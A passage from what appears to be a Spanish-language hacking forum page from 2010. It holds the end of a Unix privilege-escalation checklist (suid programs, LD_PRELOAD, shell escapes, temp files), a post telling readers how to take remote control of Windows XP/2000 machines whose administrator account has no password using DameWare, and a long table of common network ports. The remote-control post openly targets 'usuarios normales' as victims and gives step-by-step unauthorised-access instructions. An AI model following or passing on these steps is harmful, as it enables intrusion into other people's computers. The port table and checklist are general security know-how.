17)  El sistema almacena sus datos o referencia parametros de usuario en el espacio
disponible de las direcciones de usuarios

18)  Enterrar procesos de comunicación: condiciones de retorno  (passwd OK, illegal
parameter, segment error, etc) pueden proporcionar una brecha significativa cuando
son combiandos con el paso 17

19)  Los parametros de usuario pueden no estar adecuadamente chequeados.

20)  Direcciones que sobrepasan o se refieren a areas del sistema

21)  Las comprobaciones de condicion de codigo pueden omitirse

22)  Fallo al anticiparse a parametros inusuales o extraordinarios

23)  Buscar niveles del sistema donde los modulos alli involucrados fueron escritos
por programadores diferentes, o grupo de programadores - se suelen encontrar agujeros.

24)  Registros que apuntan a la localizacion de valores de parametros en vez de pasar
el parametro el mismo.

25)  Cualquier programa ejecutandose con privilegios de sistema (a muchos programas se
les da UID 0, para facilitar el acceso a ciertas tablas, etc)

26)  Archivos temporales, buffers leibles por grupos o por todo el mundo

27)  Carencia de valores de "umbral", y carencia de notificacion una vez se han
accionado estos.

28)  Cambiar parametros de areas criticas del sistema antes de su ejecucion.

29)  Comprobacion inadecuada de los limites al compilar, por ejemplo, un usuario puede
ser capaz de ejecutar codigo maquina disfrazado como datos en un area de datos
(si las areas de texto y datos estan compartidas)

30)  Manipular incorrectamente interrupciones asincronas generadas por usuarios.
Usuarios interrumpiendo un proceso, realizando una operación, o bien volviendo para
continuar el proceso o comenzar otro dejaran a menudo el sistema en un estado de
desproteccion. Archivos parcialmente escritos se dejan abiertos, escritura incorrecta
de mensajes de infracciones de proteccion, puesta incorrecta de bits de proteccion, etc,
suelen ocurrir.

31)  Codigo que usa fopen(3) sin poner la umask. (ej: at(1), etc.). En general, codigo
que no resetea el UID real y efectivo antes de bifurcarse

32)  Tracear es muy util para ayudarte a descubrir que llamadas de sistema usa un programa

33) Escanea los sistemas de archivos /usr/local de cerca. Muchos administradores
instalaran software de la red. A menudo encontraras tcpdump, top, nfswatch,... suid
root por su facilidad de uso.

34) Comprobar que los programas suid fueron los que originalmente se pusieron en el
sistema. Algunas veces los administradores reemplazaran el password por uno menos
seguro que el de las distribuciones.

35) Buscar programas que se usaran para instalar software o modulos de kernel

36) Programas enlazados dinamicamente en general. Recuerda LD_PRELOAD, creo que esa
era la variable.

37) La programacion de canales de I/O (Entrada/Salida) es es un blanco primario.
Busca errores logicos, inconsistencias, y omisiones.

38) Ver si es posible que un programa de canales I/O pueda automodificarse, hacer un
loop, y asi ejecutar el nuevo codigo modificado.

39) Si los canales I/O actuan como procesadores independientes tendran acceso ilimitado
a la memoria, y asi el codigo de sistema podria ser modificado en memoria previamene
a su ejecucion.

40) Buscar bugs que requieran errores en multiples partes del software,ej: di por
ejemplo que el programa "a" puede usarse para cambiar el fichero de configuracion /etc/a ,
ahora el programa "b" asume que la informacion de a es correcta y esto lleva a resultados
inesperados (solo mira cuantos programas confian en el fichero /etc/utmp)

41)  Cualquier programa, especialmente los suid/sgid, que permites "escapadas" a shell.

Saludos!

            ANTRAX

1369
Hacking / Hackeando solo con la ip
« on: February 18, 2010, 11:59:11 am »
Hackeando solo con la ip

Cosas necesarias:

1.- Dameware Mini remote control (You are not allowed to view links. Register or Login)
2.- Una IP


Una vez tenemos instalado el programa, y tenemos la ip de nuestra victima, tendremos que tener en cuenta una cosa:

Que nuestra victima use Windows XP/2000/NT

Y que tenga el usuario administrador sin password.. si nos paramos a pensar... quien tiene el administrador con password? usuarios avanzados... y quien lo tiene sin pass? usuarios normales... a quien atacamos? usuarios normales... jajaj

Bien colocamos la ip en "HOST:" y dejamos el sistema de aunteficacion tal como esta si la victima usa XP, sino cambiamos a la otra opcion. Como saber si la victima usa XP? pues pasandole un scanner buscad x ahi.. scaneres d estos simples. Bueno le damos a conectar.... si todo va bien pondra que se ha conectado y preguntara.

El servidor no esta intalado en la maquina remota... Desea instalarlo? le damos a Yes y empezara a instalarle todo remotamente el servidor. y lo ejecutara cuando esto pase, tendremos en nuestra pantalla su escritorio y controlaremos su mouse, teclado... etc.. igual que VNC pero sin tener acceso fisico al PC.

1370
Hacking / Puertos Basicos
« on: February 18, 2010, 11:47:50 am »
Aquí todos los puertos mas comunes.. si esto no va aquí que lo muevan

Puerto # / Capa   Nombre   Comentario
1    tcpmux    Multiplexador de servicios de puertos TCP
5    rje    Entrada de trabajo remota
7    echo    Servicio echo
9    discard    Servicio nulo para la evaluación de conexiones
11    systat    Servicio de estado del sistema para listar los puertos conectados
13    daytime    Envía la fecha y la hora al puerto solicitante
17    qotd    Envía la cita del día al host conectado
18    msp    Protocolo de envío de mensajes
19    chargen    Servicio de generación de caracteres; envía flujos infinitos de caracteres
20    ftp-data    Puerto de datos FTP
21    ftp    Puerto del Protocolo de transferencia de archivos (FTP); algunas veces utilizado por el Protocolo de servicio de archivos (FSP).
22    ssh    Servicio de shell seguro (SSH)
23    telnet    El servicio Telnet
25    smtp    Protocolo simple de transferencia de correo (SMTP)
37    time    Protocolo de hora (Time Protocol)
39    rlp    Protocolo de ubicación de recursos
42    nameserver    Servicio de nombres de Internet
43    nicname    Servicio de directorio WHOIS
49    tacacs    Terminal Access Controller Access Control System para el acceso y autenticación basado en TCP/IP
50    re-mail-ck    Protocolo de verificación de correo remoto
53    domain    Servicios de nombres de dominio (tales como BIND)
63    whois++    WHOIS++, Servicios extendidos WHOIS
67    bootps    Servicios del Protocolo Bootstrap o de inicio (BOOTP); también usado por los servicios del protocolo de configuración dinámica de host (DHCP).
68    bootpc    Cliente bootstrap (BOOTP); también usado por el protocolo de configuración dinámica de host (DHCP)
69    tftp    Protocolo de transferencia de archivos triviales (TFTP)
70    gopher    Búsqueda y recuperación de documentos de Internet Gopher
71    netrjs-1    Servicio de trabajos remotos
72    netrjs-2    Servicio de trabajos remotos
73    netrjs-3    Servicio de trabajos remotos
73    netrjs-4    Servicio de trabajos remotos
79    finger    Servicio Finger para información de contacto de usuarios
80    http    Protocolo de transferencia de hipertexto (HTTP) para los servicios del World Wide Web (WWW)
88    kerberos    Sistema de autenticación de redes Kerberos
95    supdup    Extensión del protocolo Telnet
101    hostname    Servicios de nombres de host en máquinas SRI-NIC
102/tcp    iso-tsap    Aplicaciones de redes del Entorno de desarrollo ISO (ISODE)
105    csnet-ns    Servidor de nombres de mailbox; también usado por el servidor de nombres CSO
107    rtelnet    Telnet remoto
109    pop2    Protocolo Post Office versión 2
110    pop3    Protocolo Post Office versión 3
111    sunrpc    Protocolo de Llamadas de procedimientos remotos (RPC) para la ejecución de comandos remotos, utilizado por Sistemas de archivos de red (Network Filesystem, NFS)
113    auth    Protocolos de autenticación y Ident
115    sftp    Servicios del protocolo de transferencia de archivos seguros (SFTP)
117    uucp-path    Servicios de rutas de Unix-to-Unix Copy Protocol (UUCP)
119    nntp    Protocolo de transferencia para los grupos de noticias de red (NNTP) para el sistema de discusiones USENET
123    ntp    Protocolo de tiempo de red (NTP)
137    netbios-ns    Servicios de nombres NETBIOS utilizados en Red Hat Enterprise Linux por Samba
138    netbios-dgm    Servicios de datagramas NETBIOS utilizados en Red Hat Enterprise Linux por Samba
139    netbios-ssn    Servicios de sesión NETBIOS utilizados en Red Hat Enterprise Linux por Samba
143    imap    Protocolo de acceso a mensajes de Internet (IMAP)
161    snmp    Protocolo simple de administración de redes (SNMP)
162    snmptrap    Traps para SNMP
163    cmip-man    Protocolo común de administración de la información (CMIP)
164    cmip-agent    Protocolo común de administración de la información (CMIP)
174    mailq    Cola de transporte de correos electrónicos MAILQ
177    xdmcp    Protocolo de control del gestor de pantallas X (XDMCP)
178    nextstep    Servidor de ventanas NeXTStep
179    bgp    Border Gateway Protocol
191    prospero    Servicios de sistemas de archivos distribuidos Prospero
194    irc    Internet Relay Chat (IRC)
199    smux    SNMP UNIX Multiplexer
201    at-rtmp    Enrutamiento AppleTalk
202    at-nbp    Enlace de nombres AppleTalk
204    at-echo    Echo AppleTalk
206    at-zis    Zona de información AppleTalk
209    qmtp    Protocolo de transferencia rápida de correo (QMTP)
210    z39.50    Base de datos NISO Z39.50
213    ipx    El protocolo de intercambio de paquetes entre redes (IPX), es un protocolo de datagramas usado comúnmente en ambientes Novell Netware
220    imap3    Protocolo de acceso a mensajes de Internet versión 3
245    link    Servicio LINK / 3-DNS iQuery
347    fatserv    Servicio de administración de cintas y archivos FATMEN
363    rsvp_tunnel    Túnel RSVP
369    rpc2portmap    Portmapper del sistema de archivos Coda
370    codaauth2    Servicios de autenticación del sistema de archivos Coda
372    ulistproc    UNIX LISTSERV
389    ldap    Protocolo Lightweight de acceso a directorios (LDAP)
427    svrloc    Protocolo de ubicación de servicios (SLP)
434    mobileip-agent    Agente móvil del Protocolo Internet
435    mobilip-mn    Gestor móvil del Protocolo Internet (IP)
443    https    Protocolo de transferencia de hipertexto seguro (HTTP)
444    snpp    Protocolo simple de Network Paging
445    microsoft-ds    Bloque de mensajes de servidor (Server Message Block, SMB) sobre TCP/IP
464    kpasswd    Servicios Kerberos de cambio de contraseñas y llaves
468    puertos    Protocolo de gestión de llaves de sesiones Photuris
487    saft    Protocolo simple de transferencia de archivos asíncrono (SAFT)
488    gss-http    Servicios de seguridad genérica (GSS) para HTTP
496    pim-rp-disc    Punto de descubrimiento rendezvous (RP-DISC) para servicios del protocolo de multidifusión independiente (PIM)
500    isakmp    Protocolo de gestión de llaves y asociación de seguridad de Internet, Internet Security Association and Key Management Protocol (ISAKMP)
535    iiop    Internet Inter-Orb Protocol (IIOP)
538    gdomap    GNUstep Distributed Objects Mapper (GDOMAP)
546    dhcpv6-client    Cliente DHCP, Protocolo de configuración dinámica de host, versión 6
547    dhcpv6-server    Servicio DHCP, protocolo de configuración dinámica de host, versión 6
554    puertos    Protocolo de control de flujo de media en tiempo real (RTSP)
563    nntps    Protocolo de transferencia para los grupos de noticias de red sobre Secure Sockets Layer (NNTPS)
565    whoami    Listado de ID de usuarios de whoami
587    submission    Agente de entrega de mensajes de correo (MSA)
610    npmp-local    Protocolo de gestión de periféricos de red (NPMP) local / Sistema de colas distribuidas (DQS)
611    npmp-gui    GUI del protocolo de gestión de periféricos de red (NPMP) / Sistema de colas distribuidas (DQS)
612    hmmp-ind    HyperMedia Management Protocol (HMMP) Indication / DQS
631    ipp    Protocolo de impresión de Internet (IPP)
636    ldaps    Protocolo Lightweight de acceso a directorios sobre capas de enchufes seguras (LDAPS)
674    acap    Protocolo de configuración de acceso a la aplicación (ACAP)
694    ha-cluster    Servicios de latidos (heartbeat) para Clusters de alta disponibilidad
749    kerberos-adm    Administración de base de datos Kerberos versión 5 (v5) 'kadmin'
750    kerberos-iv    Servicios Kerberos versión 4 (v4)
765    webster    Diccionario de red
767    phonebook    Libreta de teléfonos de red
873    rsync    Servicios de transferencia de archivos rsync
992    telnets    Telnet sobre Capas de enchufes seguras (TelnetS)
993    imaps    Protocolo de acceso a mensajes de Internet sobre Capas de enchufes seguras (IMAPS)
994    ircs    Internet Relay Chat sobre Capas de enchufes seguras (IRCS)
995    pop3s    Protocolo de oficina de correos versión 3 sobre Capa de enchufe segura (POP3S)


Puerto # / Capa   Nombre   Comentario
512/tcp    exec    Autenticación para la ejecución de procesos remotos
512/udp    biff [comsat]    Cliente de correo (biff) asíncrono y servicio (comsat)
513/tcp    login    Inicio de sesión remota (rlogin)
513/udp    who [whod]    demonio de conexión de usuarios whod
514/tcp    shell [cmd]    indicador de comandos shell remoto (rshell) y copy (rcp) remoto sin inicio de sesión
514/udp    syslog    Servicio de conexión al sistema UNIX
515    printer [spooler]    Spooler de impresión en línea (lpr)
517/udp    talk    Servicio y cliente de llamada remota Talk
518/udp    ntalk    Servicio y cliente de llamada remota de red, Network talk (ntalk)
519    utime [unixtime]    Protocolo de tiempo UNIX (utime)
520/tcp    efs    Servidor de nombres de archivos extendido (EFS)
520/udp    router [route, routed]    Protocolo de información de enrutamiento (RIP)
521    ripng    Protocolo de información de enrutamiento para el Protocolo Internet versión 6 (IPv6)
525    timed [timeserver]    Demonio de tiempo (timed)
526/tcp    tempo [newdate]    Tempo
530/tcp    courier [rpc]    Protocolo de Llamadas de procedimiento remotas (RPC)
531/tcp    conference [chat]    Internet Relay Chat
532    netnews    Servicio de noticias Netnews
533/udp    netwall    Netwall para difusiones de emergencia
540/tcp    uucp [uucpd]    Servicios de copia UNIX-to-UNIX
543/tcp    klogin    Inicio de sesión remota Kerberos versión 5 (v5)
544/tcp    kshell    Intérprete de comandos Kerberos versión 5 (v5)
548    afpovertcp    Appletalk Filing Protocol (AFP) sobre el Protocolo de control de transmisión (TCP)
556    remotefs [rfs_server, rfs]    Sistema de archivos Brunhoff (RFS)


Puerto # / Capa   Nombre   Comentario
1080    socks    Servicios proxy de aplicaciones de red SOCKS
1236    bvcontrol [rmtcfg]    Servidor de configuración remota para switches de red Garcilis Packeten[a]
1300    h323hostcallsc    Telecomunicación de llamadas a host seguras H.323
1433    ms-sql-s    Microsoft SQL Server
1434    ms-sql-m    Microsoft SQL Monitor
1494    ica    Cliente Citrix ICA
1512    wins    Microsoft Windows Internet Name Server
1524    ingreslock    Servicios de bloqueo de sistemas de administración de bases de datos Ingres (DBMS)
1525    prospero-np    Prospero sin privilegios
1645    datametrics [old-radius]    Entrada Datametrics / old radius
1646    sa-msg-port [oldradacct]    Entrada sa-msg-port / old radacct
1649    kermit    Servicio de administración y transferencia de archivos Kermit
1701    l2tp [l2f]    Protocolo de túnel de capa dos (LT2P) / Reenvío de capa dos (L2F)
1718    h323gatedisc    Descubrimiento de portero de telecomunicaciones H.323
1719    h323gatestat    Estado del portero de telecomunicaciones H.323
1720    h323hostcall    Configuración de llamadas a host H.323
1758    tftp-mcast    Multidifusión FTP Trivial
1759/udp    mtftp    Multidifusión FTP Trivial (MTFTP)
1789    hello    protocolo de comunicación de enrutadores Hello
1812    radius    Servicios de contabilidad y autenticación de marcado Radius
1813    radius-acct    Contabilidad Radius
1911    mtp    Protocolo de transporte multimedia Starlight Networks (MTP)
1985    hsrp    Protocolo de enrutador Cisco Hot Standby
1986    licensedaemon    Demonio de gestión de licencias Cisco
1997    gdp-port    Protocolo de descubrimiento de puertas de enlace Cisco (GDP)
2049    nfs [nfsd]    Sistema de archivos de red (NFS)
2102    zephyr-srv    Servidor de mensajería distribuido Zephyr
2103    zephyr-clt    Cliente Zephyr
2104    zephyr-hm    Administrador de host Zephyr
2401    cvspserver    Operaciones cliente/servidor del Sistema de versiones concurrente (CVS)
2430/tcp    venus    Administrador de caché Venus para el sistema de archivos Coda (puerto codacon)
2430/udp    venus    Administrador de caché Venus para el sistema de archivos Coda (callback/wbc interface)
2431/tcp    venus-se    Efectos secundarios para el protocolo de control de transmisión Venus (TCP)
2431/udp    venus-se    Efectos secundarios del Protocolo de datagrama de usuario Venus (UDP)
2432/udp    codasrv    Puerto del servidor del sistema de archivos Coda
2433/tcp    codasrv-se    Efectos secundarios TCP del sistema de archivos Coda
2433/udp    codasrv-se    Efectos secundarios UDP SFTP del sistema de archivos Coda
2600    hpstgmgr [zebrasrv]    Enrutamiento Zebra
2601    discp-client [zebra]    Cliente discp; indicador de comandos Zebra integrado
2602    discp-server [ripd]    Servidor discp; demonio del Protocolo de información de enrutamiento (ripd)
2603    servicemeter [ripngd]    Medidor de servicios; demonio RIP para IPv6
2604    nsc-ccs [ospfd]    NSC CCS; demonio Open Shortest Path First (ospfd)
2605    nsc-posa    NSC POSA; demonio del protocolo Border Gateway (bgpd)
2606    netmon [ospf6d]    Dell Netmon; OSPF para el demonio IPv6 (ospf6d)
2809    corbaloc    Localizador de servicio de nombres Common Object Request Broker Architecture (CORBA)
3130    icpv2    Protocolo caché Internet versión 2 (v2); utilizado por el servidor de caché Squid Proxy
3306    mysql    Servicio de base de datos MySQL
3346    trnsprntproxy    Proxy transparente
4011    pxe    Servicio del Entorno de pre-ejecución (PXE)
4321    rwhois    Servicio Whois (rwhois) remoto
4444    krb524    Traductor de tickets Kerberos versión 5 (v5) a la versión 4 (v4)
5002    rfe    Sistema de difusión de audio Radio Free Ethernet (RFE)
5308    cfengine    Máquina de configuración (Cfengine)
5999    cvsup [CVSup]    Herramienta de transferencia de archivos y actualización CVSup
6000/tcp    x11 [X]    Servicios del Sistema X Window
7000    afs3-fileserver    Servidor de archivos Andrew File System (AFS)
7001    afs3-callback    Puerto AFS para las llamadas al gestor de caché
7002    afs3-prserver    Base de datos de usuarios y grupos AFS
7003    afs3-vlserver    Base de datos AFS de ubicación de volumen
7004    afs3-kaserver    Servicio de autenticación AFS Kerberos
7005    afs3-volser    Servidor de administración de volumen AFS
7006    afs3-errors    Servicio de interpretación de errores AFS
7007    afs3-bos    Proceso supervisor básico AFS
7008    afs3-update    Actualizador servidor-a-servidor AFS
7009    afs3-rmtsys    Servicio gestor de caché remoto AFS
9876    sd    Sesión Director para conferencias de multidifusión IP
10080    amanda    Servicios de respaldo Advanced Maryland Automatic Network Disk Archiver (Amanda)
11371    pgpkeyserver    Servidor de llaves públicas Pretty Good Privacy (PGP) / GNU Privacy Guard (GPG)
11720    h323callsigalt    Señal alterna de llamada H.323
13720    bprd    Demonio de peticiones Veritas NetBackup (bprd)
13721    bpdbm    Administrador de bases de datos Veritas NetBackup (bpdbm)
13722    bpjava-msvc    Protocolo Veritas NetBackup Java / Protocolo Microsoft Visual C++ (MSVC)
13724    vnetd    Utilidad de redes Veritas
13782    bpcd    Veritas NetBackup
13783    vopied    Demonio de autenticación Veritas VOPIE
22273    wnn6 [wnn4]    Sistema de conversión Kana/Kanji[c]
26000    quake    Servidores de juegos de múltiples jugadores Quake (y relacionados)
26208    wnn6-ds    Servidor Wnn6 Kana/Kanji
33434    traceroute    Herramienta de localización de rutas de red Traceroute

Puerto # / Capa   Nombre   Comentario
1/ddp    rtmp    Protocolo de administración de tablas de enrutamiento
2/ddp    nbp    Protocolo de enlace de nombres
4/ddp    echo    Protocolo Echo de AppleTalk
6/ddp    zip    Protocolo de información de zona

Puerto # / Capa   Nombre   Comentario
751    kerberos_master    Autenticación Kerberos
752    passwd_server    Servidor de contraseñas Kerberos (kpasswd)
754    krb5_prop    Propagación de esclavos Kerberos v5
760    krbupdate [kreg]    Registro Kerberos
1109    kpop    Protocolo de oficina de correo Kerberos (KPOP)
2053    knetd    De-multiplexor Kerberos
2105    eklogin    Inicio de sesión remota encriptada Kerberos v5 (rlogin)

Puerto # / Capa   Nombre   Comentario
15/tcp    netstat    Network Status (netstat)
98/tcp    linuxconf    Herramienta de administración de Linux Linuxconf
106    poppassd    Demonio de cambio de contraseñas del protocolo de oficina de correos (POPPASSD)
465/tcp    smtps    Protocolo simple de transferencia de correo sobre Capas Segura (SMTPS)
616/tcp    gii    Interfaz interactiva Gated (demonio de enrutamiento)
808    omirr [omirrd]    Servicios de espejos de archivos Online Mirror (Omirr)
871/tcp    supfileserv    Servidor del Protocolo de actualización de software (SUP)
901/tcp    swat    Herramienta de administración Web de Samba (SWAT)
953    rndc    Herramienta de configuración remota del Berkeley Internet Name Domain versión 9 (BIND 9)
1127/tcp    supfiledbg    Depuración del Protocolo de actualización de software (SUP)
1178/tcp    skkserv    Servidor de entrada de Japonés Simple Kana to Kanji (SKK)
1313/tcp    xtel    Sistema de información de texto French Minitel
1529/tcp    support [prmsd, gnatsd]    Sistema de seguimiento de errores GNATS
2003/tcp    cfinger    GNU Finger
2150    ninstall    Servicio de instalación de redes
2988    afbackup    Sistema de respaldo cliente-servidor afbackup
3128/tcp    squid    Caché proxy Web Squid
3455    prsvp    Puerto RSVP
5432    postgres    Base de datos PostgreSQL
4557/tcp    fax    Servicio de transmisión de FAX (servicio antiguo)
4559/tcp    hylafax    Protocolo cliente-servidor HylaFAX (nuevo servicio)
5232    sgi-dgl    Biblioteca de gráficos distribuidos SGI
5354    noclog    Demonio de conexión del centro de operaciones de redes NOCOL (noclogd)
5355    hostmon    Monitoreo de host del centro de operaciones de redes NOCOL
5680/tcp    canna    Interfaz de entrada de caracteres Canna Japanese
6010/tcp    x11-ssh-offset    Offset del reenvío X11 de Shell seguro (SSH)
6667    ircd    Demonio del Internet Relay Chat (ircd)
7100/tcp    xfs    Servidor de fuentes tipográficas de X (XFS)
7666/tcp    tircproxy    Servicio proxy Tircproxy IRC
8008    http-alt    Protocolo de transferencia de hipertexto (HTTP) alterno
8080    webcache    Servicio de caché del World Wide Web (WWW)
8081    tproxy    Proxy transparente
9100/tcp    jetdirect [laserjet, hplj]    Servicio de impresión de redes Hewlett-Packard (HP) JetDirect
9359    mandelspawn [mandelbrot]    Programa de spawning Parallel Mandelbrot para el Sistema X Window
10081    kamanda    Servicio de respaldo Amanda sobre Kerberos
10082/tcp    amandaidx    Servidor de índices Amanda
10083/tcp    amidxtape    Servidor de cintas Amanda
20011    isdnlog    Sistema de inicio de sesión de Red digital de servicios integrados (RDSI)
20012    vboxd    Demonio RDSI voice box (vboxd)
22305/tcp    wnn4_Kr    Sistema de entrada kWnn Korean
22289/tcp    wnn4_Cn    Sistema de entradas cWnn Chinese
22321/tcp    wnn4_Tw    Sistema de entradas tWnn Chinese (Taiwan)
24554    binkp    Demonio de correo Binkley TCP/IP Fidonet
27374    asp    Protocolo de búsqueda de direcciones
60177    tfido    Servicio de correo compatible Ifmail FidoNet
60179    fido    Red de noticias y correo electrónico FidoNet

Pages: 1 ... 67 68 [69]